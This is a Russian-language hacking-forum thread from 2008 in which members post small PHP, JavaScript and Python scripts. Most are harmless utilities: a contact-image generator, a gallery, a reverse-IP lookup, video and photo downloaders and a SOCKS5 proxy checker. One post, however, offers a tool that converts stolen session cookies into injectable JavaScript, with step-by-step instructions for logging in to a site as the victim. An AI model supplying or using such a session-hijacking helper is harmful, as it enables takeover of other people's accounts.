Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.12.2008, 23:42
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
А ваще лучше так защитить: с помощью размещения текста на изображении.
img_contacts.php
PHP код:
<?
// Строка с e-mail адресом
$email="E-mail: user@site.ru";
// Строка с ICQ
$icq="ICQ: 123456";
// Создаем изображение с помощью библиотеки GD шириной 200 и высотой 30 пикселей
$im = imagecreate(200, 30);
// Задаем белый цвет (для фона)
$bg = imagecolorallocate($im, 255, 255, 255);
// Задаем черный цвет для шрифта
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);
// Задаем размер шрифта
$size=4;
// Делаем белый цвет прозрачным
imagecolortransparent($im,$bg);
// Наносим надписи на изображение
imagestring($im,$size,0,0,$email,$black);
imagestring($im,$size,0,15,$icq,$black);
// Посылаем браузере заголовок о выводе изображения
header('Content-type: image/png');
// Выводим изображение в формате PNG
imagepng($im);
?>
Вывод инфы:
Код HTML:
<img src='img_contacts.php' border='0' alt='Информация'>
|
|
|
Простейшая галлерея на javascript |

11.12.2008, 00:42
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Простейшая галлерея на javascript
С описанием к каждой фотке (картинке) в отдельно открывающемся окне (если нажать на картинку):
Создаем четыре файла:
1. zakat1.jpg
2. zakat2.jpg
3. fail1.txt (Здесь описание картинки zakat1.jpg)
4. fail2.txt (Здесь описание картинки zakat1.jpg)
и такой index.html:
Код:
Код:
<html>
<head>
<title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title>
<SCRIPT language="JavaScript">
function openwindow(i)
{
windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250");
windop.document.open();
windop.document.write("<html><head><title>Название странички</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>");
windop.document.write("<iframe src='fail"+i+".txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
</SCRIPT></head>
<bоdу>
<SCRIPT language="JavaScript">
for (var i = 1; i <= 2; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow("+i+")\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> ");
}</SCRIPT>
</bоdу>
</html>
Пихаем это всё в одну папку и запускаем index.html
(c) Pashkela
|
|
|
IP [reverse] Script v 0.1 by De-visible |

11.12.2008, 01:10
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
IP [reverse] Script v 0.1 by De-visible
IP [reverse] Script v 0.1
[Архив]
В архиве два файла:
Код:
1)IpTool.py - сам скрипт
2)result.txt - сюда записываются результаты
[Описание]
Скрипт определяет сколько сайтов расположено на одном сервере.
Результаты выводит на экран, и записывает(каждый раз дописывает) в файл [result.txt] результат.
Написан на питоне, юзаем))
[Скрипт]
PHP код:
# -*- coding: cp1251 -*-
#antichat.ru
#author De-visible[ICQ#:22-3333-575]
import urllib,re
global site
global ipURL
def AboutScript():
print """
###############About################
# #
# [Reverse IP]Script v 0.1 #
# #
#___c0ded by De-visible____________#
#___GreetZ to antichat.ru__________#
#___ICQ: 22-3333-575_______________#
#___special for antichat's users___#
#___(c)2008________________________#
####################################
"""
def SaveToFile(writebuf):
f=open("result.txt",'a')
f.write("\n\n")
f.write("site: "+site+" ["+ipURL+"?ip="+site+"]: \n")
f.write("----------------------\n")
for i in writebuf:
f.write(i+"\n")
f.write("\n----------------------")
f.close
def Trace(text_):
print "\n\n"
print "site: "+site+" ["+ipURL+"?ip="+site+"]: "
print "----------------------\n"
for i in text_:
print " "+i
print "----------------------\n"
print "\n\n ::: process completed ::: "
def GetIP():
data={"ip": site}
send_data = urllib.urlencode(data)
ipLog=urllib.urlopen(ipURL+"?"+send_data)
text_=ipLog.read()
txt_=re.findall(r"(www.*?)<\/li>",text_)
Trace(txt_)
SaveToFile(txt_)
def Readln():
while 1:
pass
AboutScript()
site="yandex.ru"#Сюда вписываем сайт
ipURL="http://2ip.ru/server.php"#Это не трогаем:)
GetIP()
#Readln()#Что бы консоль не исчезала сразу.
#----------------
[Download]
http://rapidshare.com/files/17218298...erse_.rar.html
Последний раз редактировалось De-visible; 18.12.2008 в 01:39..
|
|
|

11.12.2008, 03:34
|
|
Участник форума
Регистрация: 04.05.2006
Сообщений: 161
Провел на форуме: 389768
Репутация:
158
|
|
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».
Files:
- ach_cookie.txt Файл в котором хранятся наши Куки от форума Antichat.
Как получить?
Заходим на форум (http://forum.antichat.ru/), и в адресной строке браузера пишем:
javascript:document.write(document.cookie)
Содержмивое копируем в ach_cookie.txt. Сохраняем, забываем.
- ach_log.txt Лог скрипта, ака файл благодаря которому мы можем убедиться, что скрипт весит в фоновом режиме и даже работает. В лог записывается время последней удачной отправки GET на форум.
- ach_run.php и собственно сам скрипт, который выполняет отправку GET запроса с нашими кукисами, каждые n минут. Запускаем - нас кидает на гугл. А скрипт начинает работу. Или сами закрываем страницу.
И логами время от времени проверяем работоспособность.
PHP код:
<?php
ignore_user_abort(true);
set_time_limit(false);
function doSomthing()
{
$cookie = file_get_contents("ach_cookie.txt");
$sock = fsockopen("forum.antichat.ru", 80, $errno, $errstr, 30);
if(!$sock) return false;
else {
$headers = "GET /index.php HTTP/1.1\r\n";
$headers .= "Host: forum.antichat.ru\r\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n";
$headers .= "Cookie: $cookie\r\n";
$headers .= "Connection: Keep-Alive\r\n\r\n";
fwrite($sock, $headers);
if(strpos(fgets($sock, 20),'200 OK')) return true;
else return false;
fclose($sock);
}
}
if(ob_get_level() == 0)
ob_start();
header("Location: http://www.google.ru/");
ob_flush();
flush();
while(true)
{
ob_flush();
flush();
if(doSomthing()) {
file_put_contents("ach_log.txt",date("j M H:i"));
sleep(60*5);
}
else break;
}
ob_end_flush();
?>
|
|
|

11.12.2008, 16:06
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Нашёл на компе скрипт, когда-то писал...щас подправил немного, хз зачем выложил, пусть валяется, можт пригодится кому ))
PHP код:
<?php
/*
Скрипт для скачивания видео с Video.mail.ru
by EnoT
*/
$link = !empty($_POST['link']) ? $_POST['link'] : '';
if($link){
$link = str_ireplace('www.', '', $link);
$link = stripos($link, 'http://') === false ? 'http://'.$link : $link;
if(preg_match('#^http://video\.mail\.ru/(mail|bk|list|inbox)/([a-z0-9-_\.]{1,16})/([0-9]+)/([0-9]+)\.html.*$#i', $link, $out)){
$download = 'http://video.mail.ru/'.$out[1].'/'.$out[2].'/'.$out[3].'/v-'.$out[4].'.flv';
header('HTTP/1.1 200 Ok');
header('Content-Type: video/x-flv');
header('Content-Disposition: attachment; filename="'.$out[4].'";');
die(readfile($download));
}else{
echo '<br/>Неверный формат ссылки<br/>';
}
}
?>
<html></body><center><h3>Скачать видео с mail.ru </h3><br/>
введите ссылку:
<form action="" method="post">
<input name="link" type="text" size="70" value="http://" />
<input type="submit" value="Скачать" />
</form>
</center></body></html>
|
|
|

11.12.2008, 16:18
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Enot, полезный скрипт)) А для закаччки фоток c mail.ru есть скриптик))?
|
|
|

12.12.2008, 02:51
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 331
Провел на форуме: 1724067
Репутация:
806
|
|
скрипт на Питоне для многопоточного чека Соксов5
-------------------
Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
- эт в линуксе.
Для работы нужна библиотека pycurl
-----------------
PHP код:
#!/usr/bin/python
try:
import sys
except:
print 'error load library - sys'
try:
import thread
except:
print 'error load library - thread'
try:
import StringIO
except:
print 'error load library - StringIO'
try:
import pycurl
except:
print 'error load library - pycurl'
def test_socks():
global list, fo, count_thead, count_good_proxy
while ( len(list)>0 ):
proxy = list.pop()
wf = StringIO.StringIO()
c = pycurl.Curl()
c.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)')
c.setopt(pycurl.FOLLOWLOCATION, 0)
c.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5])
c.setopt(pycurl.URL, sys.argv[4])
c.setopt(pycurl.WRITEFUNCTION, wf.write)
c.setopt(pycurl.PROXYTYPE,pycurl.PROXYTYPE_SOCKS5)
c.setopt(pycurl.HTTPPROXYTUNNEL, 1)
c.setopt(pycurl.PROXY, proxy)
try:
c.perform()
except:
pass
c.close()
rez = wf.getvalue()
if (len(rez)>100):
fo.write(proxy)
count_good_proxy += 1
count_thead -= 1
print '''RoA SocksTest for Nerezus by PresidentUA
---------------'''
if (len(sys.argv)!=6):
print '''Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
---------------'''
sys.exit()
try:
fi = open(sys.argv[1],'r')
list = fi.readlines()
except:
print '|-| error input file '+sys.argv[1]
sys.exit()
print '|+| input file '+sys.argv[1]+' open'
try:
fo = open(sys.argv[2],'w')
except:
print '|-| error output file '+sys.argv[2]
sys.exit()
print '|+| output file '+sys.argv[2]+' open'
sys.argv[3] = int(sys.argv[3])
if ( 0 < sys.argv[3] < 100):
print '|+| create '+str(sys.argv[3])+' threads'
else:
print '|-| error create threads'
sys.exit()
sys.argv[5] = int(sys.argv[5])
if ((sys.argv[5]>=1) and (sys.argv[5]<=300)):
print '|+| good set timeout'
else:
print '|-| error set timeout'
sys.exit()
try:
temp = StringIO.StringIO()
curl = pycurl.Curl()
curl.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)')
curl.setopt(pycurl.FOLLOWLOCATION, 0)
curl.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5])
curl.setopt(pycurl.URL, sys.argv[4])
curl.setopt(pycurl.WRITEFUNCTION, temp.write)
curl.perform()
curl.close()
rez = temp.getvalue()
if (len(rez)>100):
print '|+| good set site url'
else:
print '|-| error set site url'
sys.exit()
except:
print '|-| error set site url'
sys.exit()
count_good_proxy = 0
count_thead = 0
for i in xrange(0,sys.argv[3]):
count_thead += 1
thread.start_new_thread(test_socks,())
while (count_thead>0):
pass
fi.close
fo.close
print '---------------'
print '|+| '+str(count_good_proxy)+' good socks. The End :)'''
sys.exit()
|
|
|

12.12.2008, 02:53
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Скрипт-грабер картинок с папки у юзверя на фотомайлру. Коряво конечно - прошу не пинать(
PHP код:
<?php set_time_limit(0); ?>
<html>
<title>Качалка картинок с Foto.mail.ru и не только</title>
<style>
body{
background: gold;
}
.tab{
border: 2px black double;
background: silver;
width: 600px;
position: absolute;
top: 30%;
left: 30%;
}
input{
border: 1px red solid;
}
</style>
<body>
<div class="tab">
<form action="" method="post">
<b>Введи URL папки с картинками.</b><br>
<i> Например: <font color="red">http://foto.mail.ru/mail/truhacheva/1/</font></i>   
<input type="text" name="url" size="40"><br>
<b>Введи примерный номер последней картинки.</b><br>
<i> Например: <font color="red">ссылка http://foto.mail.ru/mail/truhacheva/1/450.html - значит вводишь 450 </font></i>   
<input type="text" name="end" size="5" maxlength="5"><br>
<b>Введи номер первой картинки</b><br>
<input type="text" name="start" size="5" maxlength="5"><br>
<b>Расширение картинок</b><br>
<input type="text" name="ext" size="5" maxlength="5" value="jpg"><br>
<b>префикс картинок на сервере</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>   
<input type="text" name="servpref" value="i-"><br><br><br>
<b>Как называть картинки? Префикс.</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>   
<input type="text" name="prefix"><br><br><br>
<b>В какую директорию складировать?</b><br>
<input type="text" name="dir"><br><br><br>
<input type="submit" name="submit">
</form>
</div>
</body>
</html>
<?php
/*If(!$_POST['url'] or $_POST['prefix'] or $_POST['end']){
exit;
}*/
If($_POST['submit']){
$servpref=$_POST['servpref'];
$dir = $_POST['dir'];
if(!is_dir($dir)){
@mkdir($dir) or die("Проверьте права на запись в папку $dir !! ");
}
$url=str_replace("foto.mail.ru", "content.foto.mail.ru", $_POST['url']);
for($i=$_POST['start']; $i<$_POST['end']; $i++){
$fp=@fopen($url.$servpref.$i."." . $_POST['ext'], "b");
If(!$fp){
continue;
}
$kar=fopen($dir . "/{$_POST['prefix']}".$i."." . $_POST['ext'], "a+");
while(!feof($fp)){
fwrite($kar, fgets($fp));
}
}
Echo "Закончено";
}
?>
|
|
|

12.12.2008, 03:03
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Угнали у кого то куки? Лень гемороится и вручную вставлять их в браузер?
Этот скрипт поможет) Нужна опера.
PHP код:
<?php
if(isset($_POST['go']) and !empty($_POST['cooks'])){
$cooki = explode("; ", $_POST['cooks']);
$out = "<script>\r\n";
foreach($cooki as $cook){
$out .= "document.cookie = \"" . $cook . "\";\r\n";
}
$out .= "setTimeout(\"document.location.reload(true)\", 1000);\r\n</script>";
header("Content-Type: text/plain");
echo $out;
}else{
echo '<html>
<body>
<div style="position:absolute; top:20%; left:20%">
<form action="" method="post">
<h1>Сюда захерачь строку с куками</h1>
<textarea cols="100" rows="20" name="cooks"></textarea><br>
<input type="submit" name="go" value="Поехали!!!">
</form>
</body>
</html>';
}
?>
0. Запускаем скрипт, вставляем в текстовую область строку с куками и жмем кнопку, получаем код.
1.полученный код копируем в буфер обмена,
2.открываем в опере сайт, от которого куки угнали,
3.Жмем правой кнопкой мыши, выбираем "настройки для сайта" -> вкладка "Cookie" -> удаляем всё.
4. жмем view source или проcмотр исходного кода . Удаляем весь текст, и вставляем туда содержимое буфера обмена, жмём "применить" /
5. Вуаля!! Мы залогинены под украденными куками...
PS если залогинится не удалось -значит куки устарели или яваскрипт отключен.
|
|
|

12.12.2008, 03:05
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
давно ли опера пхп выполняет?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|